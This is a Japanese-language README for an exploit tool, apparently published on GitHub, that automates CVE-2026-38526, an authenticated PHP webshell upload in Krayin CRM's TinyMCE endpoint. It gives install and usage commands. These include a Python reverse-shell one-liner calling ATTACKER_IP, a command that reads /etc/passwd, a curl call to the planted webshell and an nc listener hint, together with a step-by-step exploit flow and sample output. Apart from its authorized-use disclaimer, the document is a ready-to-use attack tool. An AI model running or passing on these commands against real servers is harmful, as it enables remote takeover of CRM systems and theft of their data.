CVE-2026-38526 - Krayin CRM PHPアップロードRCE

Krayin CRM ≤ 2.2.x 用の自動化エクスプロイトです。このスクリプトは、TinyMCEエンドポイント（/admin/tinymce/upload）の無制限ファイルアップロード脆弱性を悪用し、image/jpeg を偽装してMIMEタイプ検証をバイパスし、PHPウェブシェルをアップロードして、Webサーバーの権限で任意のコマンドを実行します。

脆弱性の詳細

Property	Value
CVE ID	CVE-2026-38526
影響を受けるソフトウェア	Krayin CRM ≤ 2.2.x
脆弱性の種類	無制限ファイルアップロード → リモートコード実行
認証	必須（有効な管理者アカウント）
エンドポイント	`POST /admin/tinymce/upload`

前提条件

Python 3.7以上
対象のKrayin CRMインスタンスの有効な管理者資格情報
対象アプリケーションへのネットワークアクセス
requests ライブラリ

インストール

git clone https://github.com/b0nyo/CVE-2026-38526.git
cd CVE-2026-38526
pip3 install -r requirements.txt

使用方法

python3 CVE-2026-38526.py -i <TARGET_URL> -u <USERNAME> -p <PASSWORD> [-c <COMMAND>]

引数

使用例

# Basic check
python3 CVE-2026-38526.py -i http://target.com -u [email protected] -p "AdminPassword123!"

# Custom command
python3 CVE-2026-38526.py -i target.com -u [email protected] -p "AdminPassword123!" -c "cat /etc/passwd"

# Reverse shell
python3 CVE-2026-38526.py -i target.com -u [email protected] -p "AdminPassword123!" -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'"

エクスプロイトの流れ

認証: ログインページからCSRFトークンを抽出し、提供された資格情報で認証する
セッション検証: 認証済みダッシュボードから新しいCSRFトークンを抽出する
ウェブシェルアップロード: 偽装したMIMEタイプでPHPペイロードを /admin/tinymce/upload にアップロードする
コマンド実行: ウェブシェルのGETパラメータを介して任意のコマンドを実行する

出力例

[*] Target: http://target.com
[*] Username: [email protected]

[*] Authenticating...
[+] Authentication successful

[*] Uploading webshell...
[+] Webshell uploaded: http://target.com/storage/tinymce/abc123def456.php
[+] CVE-2026-38526 CONFIRMED - Remote Code Execution

[*] Executing: id
[*] Output:
────────────────────────────────────────────────────────────────────
uid=33(www-data) gid=33(www-data) groups=33(www-data)
────────────────────────────────────────────────────────────────────

[*] Manual execution (curl):
curl 'http://target.com/storage/tinymce/abc123def456.php?cmd=id'

よくある問題

認証失敗: 資格情報が正しいこと、およびアカウントが対象に存在することを確認してください。

CSRFトークン抽出失敗: 対象が脆弱なKrayin CRMを実行しており、ログインエンドポイントにアクセス可能であることを確認してください。

リバースシェルに接続できない: リスナーが実行されていること（nc -lvnp <PORT>）、ファイアウォールルールが送信接続を許可していること、ペイロード内のIP/ポートが正しいことを確認してください。

免責事項

このツールは、許可されたセキュリティテストおよび教育目的のみに提供されます。コンピュータシステムへの不正アクセスは違法です。ユーザーは、対象システムをテストする前に適切な許可を得ていることを確認する責任を単独で負います。作者は、このツールの誤用またはそれによって引き起こされた損害について一切の責任を負いません。

参照

作者

b0nyo - PoC実装

GitHub

TREXNEGRO - 脆弱性の発見

セキュリティアドバイザリ

`-i`	対象URL（`http://` の有無は任意）	`http://target.com` または `target.com`
`-u`	管理者のメールアドレス/ユーザー名	`[email protected]`
`-p`	管理者パスワード	`AdminPassword123!`
`-c`	実行するコマンド（デフォルト: `id`）	`whoami`

CVE-2026-38526

人気